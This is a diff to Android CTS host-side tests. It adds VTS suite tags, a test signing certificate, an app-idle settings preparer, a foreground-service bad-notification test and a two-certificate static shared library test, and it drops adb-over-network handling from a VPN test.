--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java
@@ -19,6 +19,7 @@
 import android.app.PendingIntent;
 import android.app.PendingIntent.CanceledException;
 import android.app.RemoteInput;
+import android.content.ComponentName;
 import android.os.Bundle;
 import android.service.notification.NotificationListenerService;
 import android.service.notification.StatusBarNotification;
@@ -74,6 +75,11 @@
                 MyNotificationListenerService.class.getName());
     }
 
+    static ComponentName getComponentName() {
+        return new ComponentName(MyNotificationListenerService.class.getPackage().getName(),
+                MyNotificationListenerService.class.getName());
+    }
+
     private static final class PendingIntentSender {
         private PendingIntent mSentIntent = null;
         private String mReason = null;
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
index b3f61c4..bc982ce 100755
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
@@ -29,7 +29,6 @@
 import android.net.VpnService;
 import android.os.ParcelFileDescriptor;
 import android.os.Process;
-import android.os.SystemProperties;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObjectNotFoundException;
@@ -538,14 +537,6 @@
 
     public void testDefault() throws Exception {
         if (!supportedHardware()) return;
-        // If adb TCP port opened, this test may running by adb over network.
-        // All of socket would be destroyed in this test. So this test don't
-        // support adb over network, see b/119382723.
-        if (SystemProperties.getInt("persist.adb.tcp.port", -1) > -1
-                || SystemProperties.getInt("service.adb.tcp.port", -1) > -1) {
-            Log.i(TAG, "adb is running over the network, so skip this test");
-            return;
-        }
 
         FileDescriptor fd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
 
@@ -563,7 +554,6 @@
 
         FileDescriptor fd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
 
-        // Shell app must not be put in here or it would kill the ADB-over-network use case
         String allowedApps = mRemoteSocketFactoryClient.getPackageName() + "," + mPackageName;
         startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
                  new String[] {"192.0.2.0/24", "2001:db8::/32"},
@@ -581,12 +571,6 @@
         FileDescriptor remoteFd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
 
         String disallowedApps = mRemoteSocketFactoryClient.getPackageName() + "," + mPackageName;
-        // If adb TCP port opened, this test may running by adb over TCP.
-        // Add com.android.shell appllication into blacklist to exclude adb socket for VPN test,
-        // see b/119382723.
-        // Note: The test don't support running adb over network for root device
-        disallowedApps = disallowedApps + ",com.android.shell";
-        Log.i(TAG, "Append shell app to disallowedApps: " + disallowedApps);
         startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
                  new String[] {"192.0.2.0/24", "2001:db8::/32"},
                  "", disallowedApps);
diff --git a/hostsidetests/net/app2/Android.mk b/hostsidetests/net/app2/Android.mk
index 02071bf..5c0bae1 100644
--- a/hostsidetests/net/app2/Android.mk
+++ b/hostsidetests/net/app2/Android.mk
@@ -30,6 +30,8 @@
 LOCAL_DEX_PREOPT := false
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/net/certs/cts-net-app
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/net/certs/README b/hostsidetests/net/certs/README
new file mode 100644
index 0000000..b660a82
--- /dev/null
+++ b/hostsidetests/net/certs/README
@@ -0,0 +1,2 @@
+# Generated with:
+development/tools/make_key cts-net-app '/CN=cts-net-app'
diff --git a/hostsidetests/net/certs/cts-net-app.pk8 b/hostsidetests/net/certs/cts-net-app.pk8
new file mode 100644
index 0000000..1703e4e
--- /dev/null
+++ b/hostsidetests/net/certs/cts-net-app.pk8
Binary files differ
diff --git a/hostsidetests/net/certs/cts-net-app.x509.pem b/hostsidetests/net/certs/cts-net-app.x509.pem
new file mode 100644
index 0000000..a15ff48
--- /dev/null
+++ b/hostsidetests/net/certs/cts-net-app.x509.pem
@@ -0,0 +1,19 @@
+-----BEGIN CERTIFICATE-----
+MIIDAjCCAeqgAwIBAgIJAMhWwIIqr1r6MA0GCSqGSIb3DQEBCwUAMBYxFDASBgNV
+BAMMC2N0cy1uZXQtYXBwMB4XDTE4MDYyMDAyMjAwN1oXDTQ1MTEwNTAyMjAwN1ow
+FjEUMBIGA1UEAwwLY3RzLW5ldC1hcHAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
+ggEKAoIBAQDefOayWQss1E+FQIONK6IhlXhe0BEyHshIrnPOOmuCPa/Svfbnmziy
+hr1KTjaQ3ET/mGShwlt6AUti7nKx9aB71IJp5mSBuwW62A8jvN3yNOo45YV8+n1o
+TrEoMWMf7hQmoOSqaSJ+VFuVms/kPSEh99okDgHCej6rsEkEcDoh6pJajQyUYDwR
+SNAF8SrqCDhqFbZW/LWedvuikCUlNtzuv7/GrcLcsiWEfHv7UOBKpMjLo9BhD1XF
+IefnxImcBQrQGMnE9TLixBiEeX5yauLgbZuxBqD/zsI2TH1FjxTeuJan83kLbqqH
+FgyvPaUjwckAdQPyom7ZUYFnBc0LQ9xzAgMBAAGjUzBRMB0GA1UdDgQWBBRZrBEw
+tAB2WNXj8dQ7ZOuJ34kY5DAfBgNVHSMEGDAWgBRZrBEwtAB2WNXj8dQ7ZOuJ34kY
+5DAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQDeI9AnLW6l/39y
+z96w/ldxZVFPzBRiFIsJsPHVyXlD5vUHZv/ju2jFn8TZSZR5TK0bzCEoVLp34Sho
+bbS0magP82yIvCRibyoyD+TDNnZkNJwjYnikE+/oyshTSQtpkn/rDA+0Y09BUC1E
+N2I6bV9pTXLFg7oah2FmqPRPzhgeYUKENgOQkrrjUCn6y0i/k374n7aftzdniSIz
+2kCRVEeN9gws6CnoMPx0vr32v/JVuPV6zfdJYadgj/eFRyTNE4msd9kE82Wc46eU
+YiI+LuXZ3ZMUNWGY7MK2pOUUS52JsBQ3K235dA5WaU4x8OBlY/WkNYX/eLbNs5jj
+FzLmhZZ1
+-----END CERTIFICATE-----
diff --git a/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java b/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java
new file mode 100644
index 0000000..9b19554
--- /dev/null
+++ b/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.net;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.targetprep.ITargetCleaner;
+import com.android.tradefed.targetprep.ITargetPreparer;
+
+public class NetPolicyTestsPreparer implements ITargetPreparer, ITargetCleaner {
+    private final static String KEY_PAROLE_DURATION = "parole_duration";
+    private final static String DESIRED_PAROLE_DURATION = "0";
+
+    private boolean mAppIdleConstsUpdated;
+    private String mOriginalAppIdleConsts;
+
+    @Override
+    public void setUp(ITestDevice device, IBuildInfo buildInfo) throws DeviceNotAvailableException {
+        updateParoleDuration(device);
+        LogUtil.CLog.d("Original app_idle_constants: " + mOriginalAppIdleConsts);
+    }
+
+    @Override
+    public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable throwable)
+            throws DeviceNotAvailableException {
+        if (mAppIdleConstsUpdated) {
+            executeCmd(device, "settings put global app_idle_constants " + mOriginalAppIdleConsts);
+        }
+    }
+
+    /**
+     * Updates parole_duration with the desired value.
+     */
+    private void updateParoleDuration(ITestDevice device) throws DeviceNotAvailableException {
+        mOriginalAppIdleConsts = executeCmd(device, "settings get global app_idle_constants");
+        String newAppIdleConstants;
+        final String newConstant = KEY_PAROLE_DURATION + "=" + DESIRED_PAROLE_DURATION;
+        if (mOriginalAppIdleConsts == null || "null".equals(mOriginalAppIdleConsts)) {
+            // app_idle_constants is initially empty, so just assign the desired value.
+            newAppIdleConstants = newConstant;
+        } else if (mOriginalAppIdleConsts.contains(KEY_PAROLE_DURATION)) {
+            // app_idle_constants contains parole_duration, so replace it with the desired value.
+            newAppIdleConstants = mOriginalAppIdleConsts.replaceAll(
+                    KEY_PAROLE_DURATION + "=\\d+", newConstant);
+        } else {
+            // app_idle_constants didn't have parole_duration, so append the desired value.
+            newAppIdleConstants = mOriginalAppIdleConsts + "," + newConstant;
+        }
+        executeCmd(device, "settings put global app_idle_constants " + newAppIdleConstants);
+        mAppIdleConstsUpdated = true;
+    }
+
+    private String executeCmd(ITestDevice device, String cmd)
+            throws DeviceNotAvailableException {
+        final String output = device.executeShellCommand(cmd).trim();
+        LogUtil.CLog.d("Output for '%s': %s", cmd, output);
+        return output;
+    }
+}
diff --git a/hostsidetests/numberblocking/Android.mk b/hostsidetests/numberblocking/Android.mk
index 1aac30f..d57a0d9 100644
--- a/hostsidetests/numberblocking/Android.mk
+++ b/hostsidetests/numberblocking/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE := CtsHostsideNumberBlockingTestCases
 
diff --git a/hostsidetests/numberblocking/app/Android.mk b/hostsidetests/numberblocking/app/Android.mk
index e98e508..cfbccbe 100644
--- a/hostsidetests/numberblocking/app/Android.mk
+++ b/hostsidetests/numberblocking/app/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test legacy-android-test
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsHostsideNumberBlockingAppTest
 
diff --git a/hostsidetests/os/Android.mk b/hostsidetests/os/Android.mk
index 3b8a1cf..1b806c9 100644
--- a/hostsidetests/os/Android.mk
+++ b/hostsidetests/os/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.host.os
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/os/app/Android.mk b/hostsidetests/os/app/Android.mk
index 1897198..bc70dec 100644
--- a/hostsidetests/os/app/Android.mk
+++ b/hostsidetests/os/app/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceOsTestApp
 
diff --git a/hostsidetests/os/app/AndroidManifest.xml b/hostsidetests/os/app/AndroidManifest.xml
index 4c4338b..c5dfb5a 100755
--- a/hostsidetests/os/app/AndroidManifest.xml
+++ b/hostsidetests/os/app/AndroidManifest.xml
@@ -18,9 +18,16 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.os.app">
 
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+
     <application>
         <activity android:name=".TestNonExported"
                 android:exported="false" />
+
+        <service android:name=".TestFgService"
+                android:exported="true" />
+
     </application>
+
 </manifest>
 
diff --git a/hostsidetests/os/app/src/android/os/app/TestFgService.java b/hostsidetests/os/app/src/android/os/app/TestFgService.java
new file mode 100644
index 0000000..3548105
--- /dev/null
+++ b/hostsidetests/os/app/src/android/os/app/TestFgService.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.app;
+
+import android.app.Notification;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.os.Process;
+import android.util.Log;
+
+public class TestFgService extends Service {
+    private static final String TAG = "TestFgService";
+
+    // intentionally invalid resource configuration
+    private static final int NOTIFICATION_ID = 5038;
+    private static final String CHANNEL = "fgservice";
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        Log.i(TAG, "onStartCommand() called");
+        Notification notification = new Notification.Builder(this, CHANNEL)
+                .setContentTitle("Foreground service")
+                .setContentText("Ongoing test app foreground service is live")
+                .setSmallIcon(NOTIFICATION_ID)
+                .build();
+
+        Log.i(TAG, "TestFgService starting foreground: pid=" + Process.myPid());
+        startForeground(NOTIFICATION_ID, notification);
+
+        return START_NOT_STICKY;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index 3b2e027..31bb7b4 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -20,18 +20,17 @@
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.result.InputStreamSource;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.util.AbiUtils;
 
-import java.io.BufferedOutputStream;
+import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.InputStream;
-import java.io.OutputStream;
+import java.io.InputStreamReader;
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.Scanner;
@@ -40,12 +39,19 @@
 
 public class OsHostTests extends DeviceTestCase implements IBuildReceiver, IAbiReceiver {
     private static final String TEST_APP_PACKAGE = "android.os.app";
-    private static final String TEST_NON_EXPORTED_ACTIVITY_CLASS = "TestNonExported";
 
+    private static final String TEST_NON_EXPORTED_ACTIVITY_CLASS = "TestNonExported";
     private static final String START_NON_EXPORTED_ACTIVITY_COMMAND = String.format(
             "am start -n %s/%s.%s",
             TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_NON_EXPORTED_ACTIVITY_CLASS);
 
+    private static final String TEST_FG_SERVICE_CLASS = "TestFgService";
+    private static final String START_FG_SERVICE_COMMAND = String.format(
+            "am start-foreground-service -n %s/%s.%s",
+            TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_FG_SERVICE_CLASS);
+    private static final String FILTER_FG_SERVICE_REGEXP =
+            "TestFgService starting foreground: pid=([0-9]*)";
+
     // Testing the intent filter verification mechanism
     private static final String HOST_VERIFICATION_APK = "CtsHostLinkVerificationApp.apk";
     private static final String HOST_VERIFICATION_PKG = "com.android.cts.openlinksskeleton";
@@ -95,6 +101,39 @@
         assertTrue(output.contains("Permission Denial") && output.contains(" not exported"));
     }
 
+    /**
+     * Test behavior of malformed Notifications w.r.t. foreground services
+     * @throws Exception
+     */
+    public void testForegroundServiceBadNotification() throws Exception {
+        final Pattern pattern = Pattern.compile(FILTER_FG_SERVICE_REGEXP);
+
+        mDevice.clearLogcat();
+        mDevice.executeShellCommand(START_FG_SERVICE_COMMAND);
+        Thread.sleep(6000);
+
+        String pid = null;
+        try (InputStreamSource logSource = mDevice.getLogcat()) {
+            InputStreamReader streamReader = new InputStreamReader(logSource.createInputStream());
+            BufferedReader logReader = new BufferedReader(streamReader);
+
+            String line;
+            while ((line = logReader.readLine()) != null) {
+                Matcher matcher = pattern.matcher(line);
+                if (matcher.find()) {
+                    pid = matcher.group(1);
+                    break;
+                }
+            }
+        }
+        assertTrue("Didn't find test service statement in logcat", pid != null);
+
+        final String procStr = "/proc/" + pid;
+        final String lsOut = mDevice.executeShellCommand("ls -d " + procStr).trim();
+        assertTrue("Looking for nonexistence of service process " + pid,
+                lsOut.contains("No such file"));
+    }
+
     public void testIntentFilterHostValidation() throws Exception {
         String line = null;
         try {
diff --git a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
index 549fdc0..ad27051 100644
--- a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
@@ -56,6 +56,9 @@
     private static final String STATIC_LIB_PROVIDER6_APK = "CtsStaticSharedLibProviderApp6.apk";
     private static final String STATIC_LIB_PROVIDER6_PKG = "android.os.lib.provider";
 
+    private static final String STATIC_LIB_PROVIDER7_APK = "CtsStaticSharedLibProviderApp7.apk";
+    private static final String STATIC_LIB_PROVIDER7_PKG = "android.os.lib.provider";
+
     private static final String STATIC_LIB_NATIVE_PROVIDER_APK =
             "CtsStaticSharedNativeLibProvider.apk";
     private static final String STATIC_LIB_NATIVE_PROVIDER_PKG =
@@ -72,6 +75,9 @@
     private static final String STATIC_LIB_CONSUMER2_APK = "CtsStaticSharedLibConsumerApp2.apk";
     private static final String STATIC_LIB_CONSUMER2_PKG = "android.os.lib.consumer2";
 
+    private static final String STATIC_LIB_CONSUMER3_APK = "CtsStaticSharedLibConsumerApp3.apk";
+    private static final String STATIC_LIB_CONSUMER3_PKG = "android.os.lib.consumer3";
+
     private static final String STATIC_LIB_NATIVE_CONSUMER_APK
             = "CtsStaticSharedNativeLibConsumer.apk";
     private static final String STATIC_LIB_NATIVE_CONSUMER_PKG
@@ -447,6 +453,27 @@
         }
     }
 
+    public void testLoadCodeAndResourcesFromSharedLibrarySignedWithTwoCerts()
+            throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_CONSUMER3_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER7_PKG);
+        try {
+            // Install the library
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER7_APK), false, false));
+            // Install the client
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_CONSUMER3_APK), false, false));
+            // Try to load code and resources
+            runDeviceTests(STATIC_LIB_CONSUMER3_PKG,
+                    "android.os.lib.consumer3.UseSharedLibraryTest",
+                    "testLoadCodeAndResources");
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_CONSUMER3_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER7_PKG);
+        }
+    }
+
     private void runDeviceTests(String packageName, String testClassName,
             String testMethodName) throws DeviceNotAvailableException {
         RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
diff --git a/hostsidetests/os/test-apps/Android.mk b/hostsidetests/os/test-apps/Android.mk
index 9fadf37..bd94fb5 100644
--- a/hostsidetests/os/test-apps/Android.mk
+++ b/hostsidetests/os/test-apps/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
index cfe131c..bd7eb5f 100644
--- a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
+++ b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
@@ -24,6 +24,6 @@
 LOCAL_PACKAGE_NAME := CtsHostLinkVerificationApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk b/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
index a168845..d3edc43 100644
--- a/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
+++ b/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
@@ -26,6 +26,6 @@
 LOCAL_PACKAGE_NAME := CtsHostProcfsTestApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
index 67335f4..9d0d001 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
@@ -30,6 +30,6 @@
 
 LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp1
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
index 9ca8a95..dca3699 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
@@ -59,7 +59,7 @@
     public void testSharedLibrariesProperlyReported() throws Exception {
         SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), "appops set "
                 + InstrumentationRegistry.getInstrumentation().getContext().getPackageName()
-                + " " + AppOpsManager.OP_REQUEST_INSTALL_PACKAGES + " " + "allow");
+                + " REQUEST_INSTALL_PACKAGES allow");
 
         try {
             List<SharedLibraryInfo> sharedLibs = InstrumentationRegistry.getContext()
@@ -172,7 +172,7 @@
         } finally {
             SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), "appops set "
                     + InstrumentationRegistry.getInstrumentation().getContext().getPackageName()
-                    + " " + AppOpsManager.OP_REQUEST_INSTALL_PACKAGES + " " + "default");
+                    + " REQUEST_INSTALL_PACKAGES default");
         }
     }
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
index 8ce6c9a..0c7351a 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
@@ -27,6 +27,6 @@
 
 LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp2
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
new file mode 100644
index 0000000..71f9e8c
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderApp7
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp3
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
new file mode 100755
index 0000000..daddbc6
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.lib.consumer3"
+        android:versionCode="2"
+        android:versionName="3.0">
+
+    <application>
+        <uses-static-library
+                android:name="foo.bar.lib"
+                android:version="5"
+                android:certDigest="70:FB:D4:40:50:3E:C0:BF:41:F3:F2:1F:CC:83:FF:D3:98:80:13:3C:27:DE:B0:94:5E:D6:77:C6:F3:1D:72:FB">
+            <additional-certificate android:certDigest="E4:95:82:FF:3A:0A:A4:C5:58:9F:C5:FE:AA:C6:B7:D6:E7:57:19:9D:D0:C6:74:2D:F7:BF:37:C2:FF:EF:95:F5"/>
+        </uses-static-library>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.os.lib.consumer3"/>
+
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java
new file mode 100644
index 0000000..a57207f
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.lib.consumer3;
+
+import android.os.lib.provider.StaticSharedLib;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertSame;
+
+@RunWith(AndroidJUnit4.class)
+public class UseSharedLibraryTest {
+    @Test
+    public void testLoadCodeAndResources() throws Exception {
+        assertSame(10, StaticSharedLib.getVersion(InstrumentationRegistry.getContext()));
+    }
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
index c1f8cd1..2e2a5e4 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
index bd7a27e..9a3da9b 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 
